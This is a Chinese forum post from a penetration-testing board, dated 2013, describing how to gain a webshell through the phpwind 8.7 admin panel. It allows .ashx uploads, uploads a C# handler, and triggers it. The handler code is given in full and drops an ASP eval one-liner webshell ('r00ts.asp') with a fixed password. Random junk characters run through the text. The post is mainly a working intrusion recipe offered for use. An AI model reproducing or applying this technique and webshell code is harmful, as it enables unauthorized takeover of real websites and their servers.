中国网络渗透测试联盟

标题: phpwind 8.7 后台拿shell [打印本页]

作者: admin    时间: 2013-7-26 12:41
标题: phpwind 8.7 后台拿shell
首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小6 s  |% L( d* D: s/ A' W
2 j$ R# Y- M8 D) _
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx
( m7 V2 Z4 x. U $ I: n1 }/ g' ^$ ^! b
发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整5 C1 l, ?0 f$ N7 `$ G4 B6 ^
1 u- b1 J  e, [- g/ @
然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx- h4 C6 x0 z$ G- v3 i' G2 ?
0 A( Z( Q) G7 ?: Z5 J( |
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
; J, e( _& V4 l0 A+ z
% ]0 w! @% F" i下面是代码:7 |( L; c( v+ n$ }) l
& P* u2 D6 D/ N" U+ q
<%@ WebHandler Language="C#"Class="Handler" %>
  r7 y1 |+ n9 l9 F5 husing System;
* b. U4 [/ l$ _using System.Web;2 ?* R' c( ~& ^7 D; x
using System.IO;: Y1 X; _! F) M' A; [
public class Handler : IHttpHandler {+ N0 [' S! }1 l$ q
public void ProcessRequest (HttpContext context) {$ U2 D5 e( p+ [% G0 m, Y
context.Response.ContentType = "text/plain";
3 J$ K3 i( g6 m# aStreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
  w5 \% v" }, _8 X/ B) ifile1.Write("<%eval request(\"r00ts\")%>");
+ p& @% d3 ^& \file1.Flush();  A9 H  V5 }+ ~% h
file1.Close();0 r" F+ P' x8 n4 c, w
}% K" @; W8 \, K7 w: K0 ^; z' H, u
public bool IsReusable {
' _' }7 h- m7 H( R2 m" Vget {0 W! @' [+ C. l- _8 W& J; t6 t6 P
return false;( p- q. N* j5 \
}
+ K7 I" L/ n1 i6 Q0 B4 V# z}. A7 O0 n/ y  B3 Z; x) Q- Q
}; j# D, Q) K7 A' B1 b+ u: ?. P





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2